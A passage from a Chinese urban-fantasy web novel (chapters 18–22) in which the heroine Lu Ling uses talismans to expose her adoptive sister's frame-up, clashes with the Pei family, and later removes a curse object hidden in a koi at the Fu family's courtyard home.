哭了半晌,裴淼淼才擦干眼泪,抬起头来,直视鹿翎,没有丝毫胆怯。 就在大家以为裴淼淼开口就是指责鹿翎偷东西的行径,就连杨丽华也准备附和。 可下一秒,裴淼淼说出来的话让所有人僵在原地,满是哗然。 “不是鹿翎偷的,是我自己放到她房间里面的。” 轻飘飘一句话,像一道惊雷,炸得裴家人脸色骤变。 裴淼淼自己说完,瞳孔也猛然收缩,脸上的表情也瞬间僵住,完全不敢相信这是自己说出来的话。 杨丽华更是忍不住尖声说她:“淼淼,你在胡说什么!是不是被她吓傻了?” 裴淼淼也后知后觉意识到自己说了什么,忙不迭伸手捂住自己的嘴,眼中满是慌乱和恐惧。 可那道被鹿翎悄无声息打中的真言符,此刻正发挥着作用。 她的嘴像是不受自己控制一般,那些藏在心底的话,争先恐后地往外冒,根本拦不住。 “谁让她回来的!她一个从山沟沟里出来的乡巴佬,凭什么会裴家?凭什么和我抢裴家小姐的位置?” 她声音尖锐,再也没有往日的温柔乖巧,眼底翻涌着怨毒和不甘。 “你看我这次诬不诬陷她就对了,只要坐实她偷东西的罪名,爸妈就会把她赶出裴家,裴家小姐这个名头,本该就是我的!她就是个外人,一个土包子,也配回到裴家!” 每一句话,就像一把刀子,狠狠打在裴家人的脸上,也打碎了裴淼淼在众人连钱维持了十八年的乖巧形象。 话音刚落,门口外的窃窃私语瞬间消失,佣人们屏住呼吸。 安静的连根针掉在地上都能听得一清二楚,只剩下众人急促的心跳声,在安静的环境里格外清晰。 裴淼淼捂着脸,瘫软在杨丽华怀里,崩溃地哭喊:“我不是故意的...我不是故意这么说的...” 杨丽华扶着她,脸色惨白如纸,她抬头看向鹿翎,张了张嘴,却一个字都说不出来,脸上的巴掌印更疼了。 裴昊然和裴泽宇也愣在原地,看着裴淼淼的衍射,满是震惊和不敢置信。 他们从未想过,平日里温柔懂事的妹妹心底竟然藏着这样的心思。 鹿翎的目光终于从裴淼淼脸上一开,淡淡地扫过所有脸上煞白的裴家人。 那眼神平静无波,却像淬了冰的利刃。 “呵,”鹿翎轻笑一声,语气里带着一丝漫不经心的嘲讽,“看来项链丢掉的真相找到了。” 裴昊然和裴泽宇自知理亏,并没有多说,像转身就走。 杨丽华放开扶住裴淼淼的手,抬头看着鹿翎,张了张口,想说什么,不知道怎么说出口。 裴淼淼心里一惊,恐慌开始蔓延,看向鹿翎的眼神也充满了怨毒。 几人都没说话,转身就想走。 鹿翎视线掠过刚想走的裴家人,又停留在地上被撕毁的符纸,指尖微微蜷起,眼底冷意逐渐变成了杀气:“你们现在就走了?先赔偿和道歉也不给?裴家人的教养被狗吃了?” 鹿翎的话像一记重锤,狠狠砸在沉默的裴家人心里。 裴昊然捂着还在隐隐作痛的肚子,脸色青白交加,转头怒视鹿翎:“赔偿?你打了我和妈,还敢要赔偿?” 他怎么也咽不下这口气,明明是鹿翎“偷”了项链还动手伤人,现在反倒倒打一耙。 杨丽华也回过神来,脸上震惊被恼怒取代,捂着还在发烫的脸颊,尖声道:“你简直是不可理喻!淼淼一时糊涂说错了话,你就当真?就算项链是她放的,你也不该动手打人!” 她下意识护住裴淼淼,全然忘记刚刚裴淼淼说出的话,以及裴昊然私闯房间、撕毁东西的过错。 裴淼淼躲在杨丽华身后,眼底闪过一丝算计,哽咽着附和:“姐姐,我知道错了,我不该诬陷你,可你也不能要赔偿啊...不过就是一些破黄纸罢了..” 她故意贬低符纸,想让鹿翎的索赔显得无理取闹。 鹿翎闻言,低头瞥了眼地上散落的符纸碎片,指尖缓缓攥紧,眼神冷得像冰:“给还是不给?” 杨丽华脸色一阵青一阵白,刚想开口说什么,站在后面一直没说话的裴父终于开口了:“多少钱?爸爸来给。” “一张两千,五十张共十万,加上私闯房间、损毁物品的赔偿,总共十五万。”鹿翎没想到裴父这。么爽快。 裴泽宇率先炸毛,就差没指着鹿翎的鼻子骂:“你这是明晃晃的诈骗,几张破黄纸也敢漫天要价。” 裴昊然脸色铁青:“简直荒谬,这些歪门邪道的东西一文不值,你无非是想趁机敲诈,我看你是穷疯了!” 裴淼淼抬眼偷偷打量鹿翎,眼底满是怨恨与幸灾乐祸,她笃定鹿翎狮子大张口,裴父就算是刚刚妥协,不过现在听到价格后一定不会纵容。 然而,裴父的反应出乎大家意料。 “好,十五万就十五万。”裴父拿出手机,手指快速操作,语气和动作没有丝毫拖泥带水,“钱已经转过去了,你记得查收。” 鹿翎掏出手机,瞥了眼到账提示,嘴角勾起一抹冷峭的弧度,她抬了抬手,语气淡漠得没有一丝温度,“钱清了,滚。” 话音刚落,一股无形的灵气从她掌心涌散开来,一道强劲却不伤人的气流直直冲向裴家人。 第18章:天机不可泄露 裴昊然、裴泽宇还想反驳,却被灵气裹胁着不由自主后退,脚步踉跄,根本不受控制。 杨丽华惊呼一声,想要抓住旁边的东西,却被灵气推着连连后退。 身后的裴淼淼也被推着尖叫起来,死死抱住她的胳膊,却依旧抵挡不住那股无形的力量。 “砰!”的一声。 沉闷的巨响,裴家人被灵气直接推了出去,房门在他们面前自动关上,还顺带反锁。 门外,裴家人摔作一团,狼狈不堪。 裴泽宇挣扎着爬起来,难以置信地盯着紧闭的房门,声音都在发颤:“刚...刚才那是什么?是风吗?可房间里走廊上根本就没风!” 杨丽华瘫坐在地上,脸色惨白如纸,眼神里充满了恐惧:“是她...是她搞的鬼!那些符纸...她真的会歪门邪道!” 裴昊然捂着胸口,看着紧闭的房门,眼底满是忌惮和怨毒:“怪不得耀阳说遇到鹿翎后,就趴在地上不动了,原来还真是她的原因,这个妖女!” 裴父扶着墙站起来,神色凝重,但隐隐透出兴奋。 就在这时,裴淼淼突然瘫坐在地,捂着脸崩溃大哭起来,眼泪像断了线的珠子般往下掉,“爸妈,哥,我不是故意的!我刚才就是被姐姐控制了。” 她抬起满是泪痕的脸,眼神中全是委屈和恐惧:“是她用邪术操控我的嘴!那些话根本就不是我真心说出来的,我怎么可能诬陷姐姐,怎么可能不想让她回家?都是她,都是她搞的鬼。” 杨丽华一听,连忙抱住裴淼淼,心疼得不行:“妈妈知道,妈妈知道你是被冤枉的!都是那个怪物搞的鬼,她就是想挑拨我们母女俩的关系,想把你赶出裴家。” 裴泽宇也连忙附和:“肯定是这样,她就是嫉妒淼淼受宠,故意用邪术陷害淼淼。” 裴昊然皱眉:“难怪淼淼会说出这种话,原来是被她控制了。这个鹿翎,当初就不该把她接回来。” 几人你一言我一语,把所有过错都推到了鹿翎身上。 裴父看着哭得上气不接下气的裴淼淼,又想起鹿翎的出身,眼神闪烁,不知道在想什么。 而房间内。 鹿翎低头看地上的碎片,蹲在旁边一一收好,听到外面传来颠倒黑白的言论,嘴角勾起一抹冰冷的嘲讽。 操控? 真是搞笑。 真言符只不过让人说出自己内心深处不敢说的话而已。 如果她真想操控,就不单是说出颠倒黑白的话了。 只是... 鹿翎看着被自己收好的符纸碎片,叹口气。 她这些符纸白画了。 看来要找时间重新去买了。 不过乱糟糟的屋子可轮不上她收拾。 鹿翎走到门前,猛地打开房门。 突然的声响把还待在门口的裴家几口人吓住了。 她神情漠然地扫视他们一群人,最后落在在旁边被刚才那一幕吓得瑟瑟发抖的张婶身上,“张婶,让人把我屋里打扫了。” 被妖女提到名字,张婶身体明显的哆嗦一下,回过神来,唯唯诺诺地点头,完全没有先前对鹿翎那个嚣张样。 鹿翎没说话,点点头,转身走进房间。 “砰”的一声。 门又被关上。 裴家几口人又被忽视。 刚刚对鹿翎的恐惧现在被她忽视所带来的愤怒取代。 恐惧转变为怒火。 杨丽华开始骂鹿翎没有教养。 裴淼淼拉都拉不住她。 裴父脸色阴郁,他打断杨丽华:“够了!丽华,她是你的亲生女儿,没必要这么骂她!” 被丈夫指责,杨丽华沉淀几天的眼泪一下子涌了出来,里面全是对鹿翎的怨气和心酸,不过更多的是她作为长辈,竟然被小辈打的怒火。 裴昊然和裴泽宇也是第一次见杨丽华哭,开始手足无措地安慰起来。 外面的闹剧一直持续到半夜。 张婶收拾完鹿翎房间后,就回到自己保姆房去了。 门外的话,鹿翎嫌弃他们朝,用一张消音符附在门上,外面听不到里面,里面听不到外面。 鹿翎算是彻底安静下来。 —— 第二天。 鹿翎下楼吃早饭。 全家人对鹿翎避之不及。 鹿翎挑挑眉。 看来昨天晚上肯定把他们吓傻了。 倒是裴父对鹿翎还是和平常一样。 他把一张纸推到鹿翎面前:“这是你大哥给你在京城找的学校,如果你不满意的话,我们可以让你去国外上大学。” 张婶给鹿翎端了碗海鲜粥,全身上下,只有手臂离鹿翎最近。 放下碗后,像是躲避瘟神一样跑了。 鹿翎也没多在意,端起来,慢慢喝两口,看都没看那张纸条:“不去,我说了我要上京大。” 杨丽华刚想指责鹿翎不识好歹,又会想起昨天晚上的事,还有裴父找她谈心的场面,脸上挂起僵硬的笑,“京大也不是你说能上就能上的,你那分数...” 杨丽华话还没说完,大家知道她话后的意思是什么。 谁都没说话。 但嘴角勾起的笑意,已经说明大家对她的嘲笑。 鹿翎没说话,依旧低头喝她的粥。 杨丽华脸上的假笑差点没维持住。 裴父眼神扫视裴家人一圈,说出让众人都感到惊讶的话:“我打算五天后给阿翎办下认亲宴。” 此话一出,气氛突然凝滞。 裴淼淼眼眶红了。 裴昊然皱眉:“爸,这怕是有失妥当。” 杨丽华眼角抽了抽,想都没想直接拒绝。 裴泽宇满是不满的看了裴父一眼,不过一家之主的决定,他也没有权利干涉。 这次想法鹿翎倒是和杨丽华出奇一致:“我也拒绝。” 她没必要和裴家扯上关系。 尤其是认亲这种事。 裴父刚想说什么,鹿翎喝下最后一口粥,转身上楼。 过了一分钟,她重新下楼。 顶着所有人的视线离开了裴家。 —— 礼佛寺山脚下。 鹿翎坐在一家早餐店,面前摆着一碗凉面。 在裴家她没吃饱,面对裴家那几口子,她实在是吃不下那碗香甜美味的海鲜粥。 鹿翎吃完后,叹口气,抬头看向面前高耸入云的山,有些心累。 还是要爬上去。 不过感到挺疑惑的,鹿翎爬到半山腰,就看见上次在主殿看见的和尚。 和尚对鹿翎合十:“鹿施主。” 鹿翎挑眉,伸手折断一根树枝:“你怎么知道我今天会来?” “天机不可泄露。” 第19章:砸到头了 鹿翎笑,不说话,跟上和尚。 还是那间禅房,还是那个和尚。 和尚似乎是早就知道鹿翎要来,桌子上早已摆了黄符纸。 甚至比上次还多了一沓。 鹿翎没多问,从兜里拿出现金摆在桌子上,又拿出一叠零钱放在另一边。 这次和尚并没有推脱,对鹿翎合十后,两沓钱被和尚收下。 小和尚带鹿翎准备下山。 不过走到一处分岔路口时,鹿翎停下脚步,侧头朝一边看去,微微眯眼,问:“那是什么地方?” 小和尚停下脚步,转头看去,回道:“那是许愿池。” 怪不得那么多人站在那。 鹿翎摸摸下巴,点了点头。 她其实并不感兴趣,靠人不如靠己。 心里是这么想,但身体很诚实地朝那边走过去。 和尚笑了笑,对鹿翎离开的方向问询,说了句:“阿弥陀佛”,后转身就上了山。 香火缭绕的庭院中央,一汪清池泛着粼粼波光,池边人头攒动,往来身影络绎不绝。 一枚枚承载着愿望的硬币被投入水中,池底银光点点。 一棵苍劲的许愿树自池水中央拔地而起,枝干遒劲舒展,枝桠间系满了密密麻麻的红绸丝带,随风轻轻摇曳。 鹿翎本只是随口一瞥,脚却不受控地朝许愿池走了几步,直接还捻着方才折下的树枝,眉眼间依旧是那副淡漠的模样,与周围虔诚祈福的人群格格不入。 鹿翎刚站定,还没来得及细看池底的银光,一道红影就借着风势,直直从枝头那头飞落,不偏不倚砸在了她的额头上。 软乎乎的绸带带着淡淡的香火味,力道不重,却让鹿翎下意识皱了皱眉,抬头将那绸带摘下来。 入手是细腻的绸缎,中间是用墨笔写的一行清隽的小字。 鹿翎垂眸扫了一眼,微微皱眉。 周围有人瞧见这一幕,笑着打趣:“小姑娘,这是佛祖显灵,把别人的心愿送到这里啦!” 鹿翎没接话,捏着红绸,指尖掐了个简单的诀,一丝微弱的灵气探入绸带,却没有觉察处任何异样,只隐约感受到一丝淡淡的、若有若无的气息。 鹿翎挑了挑眉,随手把绸带揣进兜里,也没有心思再看许愿池,转身边走。 “等等。” 刚迈出两步,身后就传来一道温润的男声,带着一丝不确定,又有几分笃定。 鹿翎脚步微顿,侧头看去。 看到人,她眉尾微挑。 怎么是他? 是上次差点被骗钱的漂亮病秧子。 鹿翎没说话,示意他有话直说。 男人身姿修长,一身简单的黑色休闲装衬得肩宽腰窄,五官精致得近乎妖孽,眉骨高挺,眼尾微挑。 只是脸色白得过分,唇色也淡,连走动间都带着几分虚浮,像被风一吹就会倒的病秧子,连下颌线的轮廓都透着几分苍白,却丝毫不减清隽矜贵气质。 男人往前挪了半步,又低低咳了两声,骨节分明的指尖抵着唇,待气息平稳,才抬眼看他,眼底闪过一丝讶异;“是你...上次怕我被骗的人。 他走到鹿翎面前,微微躬身,声音清润却带着一丝不易察觉的虚弱:“抱歉,风大,失手了。” 鹿翎没说话,只是看着他的脸,微微挑眉。 她并没想看看他的面相,但怎么也看不透。 这种情况可是少得可怜。 面相可不是想看就看的。 不过,鹿翎瞧这漂亮病秧子着实有点可怜,她提醒提醒他罢了。 男人见她不说话,只是盯着自己看,以为她还在在意,又往前半步,伸出手,语气更柔和了些:“实在抱歉,这绸带赔给你,或是我重新给你求一根?” 他的手很白,指腹带着薄茧。 鹿翎这才看见他腕间竟然有一串墨玉手串,衬得肌肤愈发莹白。 视线在他腕间的手串上顿了顿,便收回视线,她从兜里拿出红绸带,随手晃了晃,语气淡淡,听不出喜怒,“不用。” 说完,她抬手,将那根红绸带重新抛回许愿树。 红影在空中划过一道弧线,竟不偏不倚,缠在了最粗的那根枝桠上,被风一吹,稳稳贴在上面。 比其他红绸,他这个在最顶上。 男人眼中闪过一丝诧异,看着那根稳稳缠在最上面的红绸,又转头看向鹿翎。 方才他费半天劲都没将绸带系上去,没想到她随手一抛,就缠得纹丝不动。 “你倒是厉害。”男人轻笑一声,咳嗽了两声,脸色又白了几分,抬手抵在唇边,掩住咳声。 鹿翎瞥了他一眼,没接话,转身就要走。 她本就不是来祈福的,遇上这档子事,更没了停留的心思,现在她要回去,补画那些被裴昊然撕毁的符纸。 男人也没留她,挡住的嘴角缓缓勾起一抹笑意。 —— 鹿翎打车回到裴家。 空荡荡的别墅除了佣人外,裴家其他人没见踪影。 就连那些佣人再看见鹿翎后,纷纷呢远离她。 像是躲避瘟神一般。 鹿翎也不在乎,把所有东西准备好。 在房间里待了三天。 这三天,鹿翎不仅把那三沓黄符纸全部画完后,又多刻上几张护身符。 两天用来干活,剩下一天是来睡觉。 期间除了上厕所和喝水外,连饭都没吃。 第四天晚上,鹿翎终于走出房门。 睡了一天一夜,她的精神头好了些。 刚出房间门,外面传来汽车引擎的轰鸣声,紧接着,就是人群熙熙攘攘的声音。 应该是裴家人回来了。 鹿翎走到厨房,给自己倒杯水,出来时刚好和裴耀阳对上视线。 看见鹿翎时,裴耀阳先是愣了一下,反应过来后,脸色涨红,被杨丽华扶着的身子猛然挣开,右腿还打上石膏,却依旧不管不顾地朝鹿翎冲过来,嘴里嘶吼:“鹿翎!你这个妖女!我腿都被你弄成这样了!你还敢出现在我面前!” 听到妖女这个称呼,很显然,前几天的事,裴家人已经完完整整告诉裴耀阳了。 他步伐踉跄,石膏撞到沙发上发出沉闷的声响,疼得他龇牙咧嘴,却依旧红着眼睛,像头被激怒的野兽,满眼的怨毒几乎要溢出来了。 杨丽华见状,连忙快步追上,死死拉出他的胳膊,急声道:“耀阳!你刚出院,身子还没好,别冲动。” 裴父和裴昊然、裴泽宇也跟在后面进来,裴淼淼怯生生地躲在裴父身后,偷偷瞟着鹿翎,眼底藏着一丝看好戏的的笑意。 第20章:有钱不赚王八蛋 裴耀阳被杨丽华拽着,挣脱不开,便抬起没受伤的脚,朝着鹿翎方向狠狠踹去,嘴里不干不净骂道:“你这个乡巴佬,扫把星,要不是因为你,我怎么会被车碾!今天我非打死你不可。” 鹿翎端着水杯,侧身轻易躲开他的踢踹。 动作轻描淡写,甚至连眼皮都没抬一下。 只是冷冷瞥他一眼,那眼神凉飕飕的,像淬了冰,瞬间让裴耀阳的嘶吼哽在喉咙里。 可他从小被娇生惯养,缓了几秒,又开始撒泼,用力甩开杨丽华的手,不顾石膏腿的疼痛,扑向去想扯鹿翎的头发。 “我让你装!我让你用那些歪门邪道的东西害人,裴家容不下你这种妖女,你给我滚出去。” 鹿翎手腕轻抬,一杯冷水直接泼在了裴耀阳的脸上。 站在他旁边的杨丽华也没能幸免。 冰凉的水顺着他的头发、脸颊往下淌,瞬间浇灭他的火气,也让他整个人僵在原地,脸上的狰狞被错愕替代,连身上的戾气都散了几分。 “你敢泼我!”裴耀阳反应过来,声音都在发抖,又气又怒,想要再冲上去,却被鹿翎一个冰冷的眼神逼退半分。 “再逼逼赖赖。下次就不是泼冷水这么简单了。”鹿翎声音没有一丝温度,指尖微微蜷起,周身散发出淡淡威压和明晃晃的不耐烦,“自己作的孽,怪得了谁?” “就是你用符咒害我,不然我怎么会动不了!你就是个灾星!”裴耀阳气得发抖,指着鹿翎的鼻子骂。 杨丽华连忙护住裴耀阳,心疼地擦着他脸上的水,转头对鹿翎怒目而视:“鹿翎!你太过分了。耀阳刚出院,你就这么对他,他是亲弟弟!” “亲弟弟?”鹿翎嗤笑一声,将空水杯放在旁边,“我可没有这种张口闭口骂街,动手动脚的弟弟。裴家的教养,再次让我刷新认知。” 她的目光扫过裴家众人,最后落在裴父身上,“怎么?裴先生就看着你儿子撒野,看着你妻子不分青红皂白地指责人?这就是裴家待客之道?哦,不对,我好像也不算客人,毕竟你们硬把我接回来的,又容不下我,倒是挺矛盾的。” 说完,她眼神耐人寻味的看了眼裴父,并未多说,转身就走。 裴父脸色沉了沉,呵斥住还想叫嚣的裴耀阳,沉声道:“够了!回房间休息。” “爸!你怎么还帮着她!”裴耀阳不可置信地看着裴父,“她把我害成这样,你还让我忍?我不服!” “忍不忍,不是你说了算。”裴父语气带着不容置喙地威严,他看了鹿翎背影一眼,眼神复杂,“后天就要给你姐姐准备认亲宴了,你给我安静点!” 裴耀阳瞪大眼睛,还想要在说什么,就被裴昊然和裴泽宇架着往上走,还不忘回头对鹿翎放狠话:“鹿翎你给我等着,早晚有一天,我要把你赶出裴家,让你滚回那个山沟沟里面去。” 鹿翎脚步微停,反手给他竖个中指。 这不雅举动,顿时让杨丽华看见,气得脸色一阵青一阵白。 裴淼淼见状,连忙上前扶住杨丽华,柔声安慰:“妈,你别生气,弟弟刚出院,姐姐也不是故意地,大家各让一步就行了。” 她嘴上说着和解的话,眼底却满是得意。 故意说出弟弟是因为出院才导致的脾气不好,那裴耀阳住院的原因又是什么,还不是因为鹿翎。 杨丽华闻言,脸色更加不好了。 —— 回到房间。 鹿翎打开手机,许久没和她联系的未明子竟然罕见的给她发了消息。 【有件差事你办不办?】 鹿翎打字,刚想回复。 后面未明子生怕鹿翎不同意,又补充了一句: 【酬劳一百万】 看到酬劳一百万后,鹿翎打出的字又被自己删除。 【地址】 见鹿翎这么容易的同意了,未明子有些惊讶。 【这次怎么这么简单的同意了?】 鹿翎回: 【有钱不赚王八蛋】 未明子给她发了三个大拇指的表情包。 然后把地址给她发过来,还有雇主的电话号码。 鹿翎点开地址,发现这个位置是在北郊区。 看上面的地址,应该是哪家富豪家出现了一点小意外。 鹿翎大概扫了一点,就关掉手机。 —— 第二天。 鹿翎拿出另一个手机,那是鹿翎上班用的专门机子。 里面添加的人大多数都是被鹿翎上门服务过的顾客。 添加好后,没一会对方就同意了。 鹿翎说明晚上过来,可能对方是手写,等半天,对方才会一个表情包。 【好滴.JPG】 鹿翎收拾东西。 夏天白天气温高,鹿翎打算晚上在出门。 在裴家吃过午饭后,鹿翎准备要去雇主家处理事故的东西。 未明子并没有说明那位雇主家发生了什么事。 不过像这种情况,一般是些小事情。 鹿翎准备好后,傍晚六点钟出发。 打辆车到北郊区,发现这里竟然只有一座四合院。 鹿翎站在门口,敲响房门,开门的是位老爷爷,两鬓斑白,背佝偻着,看起来也有七八十岁了。 “请问这是傅荣华奶奶的家吗?”鹿翎挎着一个小布包,长发扎成马尾辫,放在身侧,五官细致精美。 看见鹿翎时,他微微一愣,狐疑的视线上下打量鹿翎,好半响,他才给鹿翎让出位置,让她进来,“你就是未大师请过来小师傅?” 语气里满是不信任。 像他们这一辈的思想中,解决这种事的人,必须是男人,还得是个中年男人。 没想到来得是位小姑娘,看起来还只有十八九岁的模样。 鹿翎点点头,踏了进去。 刚踏进去,一股阴风直扑鹿翎面门,她皱皱眉,不动声色地后退一步。 老爷爷在鹿翎进来后,狐疑的眼睛依旧打量鹿翎的背后,“你现在这坐一会,我去叫老夫人。” 鹿翎点点头,庭院是网上流行的中式庭院,有池塘、池中亭,古树还有喝茶的地方。 环视一圈,鹿翎视线落在池塘里,那上面有一层淡淡的黑气。 鹿翎皱了皱眉,刚想上前一步,就被一道声音怒喝:“你在干什么?” 第21章:礼佛寺的老太太 鹿翎闻声回头看,只见一位身穿高定连衣裙的少女站在游廊下,长发挽成精致的发髻,脖颈的钻石项链在灯光下,折射出冷冽的光。 她双手抱臂,眉梢眼角都带着不加掩饰的轻蔑,看向鹿翎的眼神像是在看什么上不得台面的东西。 她听到声音,刚从她奶奶的房间里出来,听到这话,忙不迭赶到前院来。 本来还以为是个中年骗子,没想到是个小丫头片子。 “李伯,你怎么什么阿猫阿狗都往家里带?”少女踩着细高跟走进,香水味里混着一丝若有若无的阴寒气息。 “未大师推荐的人,我还以为是何等德高望重的前辈,没想到是个乳臭未干的小丫头片子,怕不是来骗钱的吧?” 被喊作李伯的老爷爷,也就是把鹿翎领进门的老爷爷见状,也是一副不相信的眼神看着鹿翎。 但人是他带进来的,不上前打圆场也不行。 “小姐,这是未大师特意嘱咐的,说她有真本事...” “真本事?”少女嗤笑一声,眼神扫过鹿翎身上简单的T恤牛仔裤,又落在她挎着的旧布包上,“穿得这么寒酸,手里拎着个破布口袋,怕不是从哪个山沟沟里面跑出来的骗子?我们傅家可不养闲人,更不做冤大头。” 鹿翎挑眉,指尖无意识摩挲布包边缘,语气平淡:“傅小姐是吧?我是不是骗子,你说的不算。但你家池塘里的黑气快要溢出来鹿翎,再拖两天,可不是花钱能解决的事。” “黑气?”傅宛然像是听到天大笑话,捂着嘴笑出声,“我说你装也装得像一点啊,还黑气,你怎么不说水里有妖怪?现在都什么年代了,还搞封面迷信这一套,我看你是想钱想疯了。” 鹿翎依旧面色淡然,懒得和她争辩,“我是来办事的,不是和你逞口舌之快的,傅荣华奶奶在哪?” “你也配直呼我奶奶的名字?”傅宛然怒目圆睁,抬手就要去推鹿翎,“我看你是找死!” 她手还没碰到鹿翎的衣角,就被鹿翎轻轻一侧身躲开,脚下一个趔趄,差点摔到旁边的石桌上,还好李伯眼疾手快扶了她一把。 “你还敢躲?”傅宛然气得脸色涨红,正要发作,一道略显苍老却中气十足的声音从屋内传来:“宛然,休得无礼!” 几人循声看去,却见一位头发花白却精神矍铄的老太太被佣人扶着走出来。 正是傅荣华。 她目光扫过庭院,最后落在鹿翎身上时,瞳孔猛然收缩,脸上的严肃瞬间化为惊讶,随即快步上前。 傅宛然见奶奶出来,立马委屈地迎上去:“奶奶,你可算出来了,这丫头不知道从哪来的,穿得破破烂烂的,还敢直呼您的名字,我看她就是个骗子,您赶紧让李伯把她赶出去吧。” 傅荣华没理她,径直走到鹿翎面前,目光热切地看着她,声音都带着一丝激动,“小姑娘,是你!礼佛寺的那个小姑娘!” 这话一出,傅宛然和李伯都愣住了。 傅宛然不可思议地看着鹿翎:“奶奶,您认识这个小骗子?” 鹿翎看着傅荣华,微微颔首:“傅老夫人。” 那日救下傅荣华后,她便离开,没想到竟然会在这里遇见。 傅荣华想要去拉鹿翎的手,但被她不动声色地躲开:“抱歉,老夫人,我不和旁人触碰。” 傅老夫人尴尬一笑,脸上满是感激,转头狠狠地瞪了傅宛然一眼,“你这孩子,瞎嚷嚷什么!这位小姑娘是我的救命恩人,那日在礼佛山,我摔下山坡,多亏这位小姑娘出手相救,不然我这条老命早就没了。” 傅宛然彻底懵了,张着嘴半天说不出话来,脸上的倨傲和嫌弃瞬间僵住,取而代之的是慢慢的错愕和难以置信。 她怎么也没想到,这个被她当成骗子、乡野丫头的小姑娘,竟然是奶奶的救命恩人? 这脸简直是被打肿了。 傅荣华笑了笑,语气满是歉意:“小师傅,真是对不住了,宛然这孩子被我惯坏了,眼高于顶,你别和她一般见识。” 说完,她又转头训斥傅宛然:“还不快给小师傅道歉!要不是小师傅,你奶奶我现在还不知道怎么样,你竟然对恩人出言不逊,简直太不像话了!” 傅宛然脸色一阵青一阵白,站在原地手足无措,看着鹿翎的眼神中充满了尴尬和羞赧,哪还有半分刚才的嚣张。 傅宛然脸色涨红,跺脚:“我才不要,让我给一个小丫头骗子道歉,我拒绝!” 说完,她转身离开庭院,朝里面走去。 傅荣华看着傅宛然离开的背影,默默叹口气,并没有说她什么。 鹿翎看着傅宛然那副样子,淡淡开口:“没事,又不是第一次。” 她每次去雇主家解决这些问题,每次都会被人看不起。 一是因为封建迷信,二是因为她年龄太小了。 就算他们信这个,但也要找个看起来有资历的人。 傅荣华见状,也是尴尬得很,不过反应过来,语气热切,“小师傅,快进屋坐,口渴了吧,我让佣人给你倒杯茶。那天你走得太急了,我都没好好来得及,没想到未大师说的高手竟然是你,真有缘分啊。” 鹿翎笑笑,不说话。 屋内,傅荣华让佣人端上茶水和点心,拉着鹿翎问东问西,言语间满是感激,丝毫没有豪门老太太的架子。 鹿翎喝了口茶,放下茶杯,直言道:“傅老夫人,我这次来,是未大师让我过来帮你处理家里的事,我刚进院子,就觉察到池塘那边有黑气萦绕,原来问题就是出现在那里。” 傅荣华闻言,脸上的笑意瞬间敛去,一脸凝重,“小师傅果然厉害,实不相瞒,还多谢你那次给我的平安符,不然我这把老骨头得舍在那了。” “奶奶,你在胡说八道什么!”傅宛然从旁边进来,听到这话,立马反驳。 傅荣华瞪了她一眼,继续对鹿翎说道:“那日从礼佛寺回来后,家里就接连出事。” 傅宛然跺跺脚,又离开客厅,到庭院坐着。 傅荣华叹口气,压低声音,“先是家里的佣人莫名摔断腿,再是宛然半夜总说池塘那边有异样,就连我这把老骨头,要是没有你给我那张平安符,怕是要一头扎进池塘里了。” 鹿翎放下茶杯,指尖轻叩桌面,“老夫人可还记得,这个池塘在挖前挖后发生了什么吗?” 第22章:厌胜术 傅荣华摇摇头,“没发生什么。这个池塘是最近才出这么多怪事情的。” 鹿翎没说话,点了点头,起身走向池塘位置。 傅荣华见状,也跟了上去,“小师傅,是出什么事了吗?” “既然是最近出现的问题,那么池塘地底是没有任何问题的,应该是出现在水下。” “水?”傅荣华不解。 鹿翎走到池塘边上,开始仔细观察水的问题,给老夫人答疑解惑,“你们看不见很正常,刚刚黑气才这么一点,现在黑气基本上已经快要铺满整个池塘了。” 鹿翎再给傅荣华比画。 傅宛然凑上来,轻哼一声:“你又知道了,小丫头骗子。” 鹿翎没说话,虚空画出一道符咒,打向傅宛然。 傅宛然还要说话,忽然发现自己无法开口,喉咙也发不出声音,登时大惊失色。 走到傅荣华身边,伸手拉了拉她的胳膊,指着自己开口发不出声音的嘴巴,无声红了眼眶。 傅荣华看鹿翎,问道:“小师傅,这...” 鹿翎面无表情:“静音符,她话太多了。” 傅荣华见状,连忙给傅宛然找补解释:“小师傅,宛然年纪小,不懂事,你就饶了她吧。” “二十二了,比我还小三岁,”鹿翎瞥了眼只跺脚的傅宛然,指尖轻弹,一道微光从傅宛然身上散开。 傅宛然立马捂住喉咙,咳嗽两声,终于能说话了,但却也不敢在鹿翎面前乱嚼舌更,只是梗着脖子站在一边,眼神依旧带着不服气。 “这池塘的问题,”鹿翎蹲下身,指尖蘸了点池水,放在鼻尖轻嗅,眉头微蹙,“水里藏着东西,黑气凝结浮现水面。” 傅荣华脸色一白:“藏东西?是什么东西?” “捞起来看看就知道了。”鹿翎起身,从布包里掏出一张取物符,“天清地明,水路开通,水下之物,随吾取用。” 说完,取物符被她甩至半空,在空中炸开一道柔和金光,将浮在表面的黑气驱散,池水瞬间清澈几分。 鹿翎指尖掐诀,口中默念咒语,金光化作一道无形的网,缓缓沉入池底。 傅荣华和傅宛然屏息凝视,只见水面泛起圈圈涟漪,网上是一条通体赤红的锦鲤。 鳞片在月光下泛着诡异的光泽,腹部膨胀得如同吃多了,远远望去,竟然比寻常锦鲤打了一倍。 “是它?”傅荣华愕然,“这锦鲤是上个月佣人从花鸟市场里买回来的,这锦鲤买回来后一直活泼好动,每日由他们专门喂养,从未出现过异常,如今这般膨胀模样,确实古怪。 鹿翎指尖凝气,对着锦鲤虚空一点。 那锦鲤如同被无形的线牵引,乖乖飞了过来,落在岸边铺好的白布上。 它挣扎了两下,腹部的鼓胀愈发明显,隐约能看见里面有异物轮廓。 “这锦鲤肚子里有东西,开膛破肚就知道里面是什么了。” 傅荣华虽心存疑虑,但想起最近家里的怪事,还是立马吩咐李伯,去拿剪子。 李伯不敢耽搁,片刻后便拿着剪刀回来。 鹿翎接过剪刀,刀尖划破锦鲤肚子的瞬间,一股腥臭的黑气夹杂这腐味扑面而来。 傅宛然下意识捂住口鼻后退。 傅荣华也皱紧眉头。 锦鲤肚子里不是鱼卵,也不是食物,而是裹着一块拳头大小的黑色木牌。 木牌上刻满了扭曲的符文,黑气是从木牌缝隙中源源不断地渗出。 “这是什么?”傅荣华声音发颤。 鹿翎指尖微动,那块木牌凭空飘去,慢慢向鹿翎方向飞来,最终停在她面前。 傅宛然见状,眼中全是不可置信。 傅荣华眼神中也是满满的震惊。 伸出手,指尖触及的瞬间,木牌上的符文竟然泛起暗红色光芒,一股阴寒之气顺着指尖蔓延开来。 她指尖用力,木牌应声碎裂,从里面掉出一撮干枯的头发和一张极小的黄符。 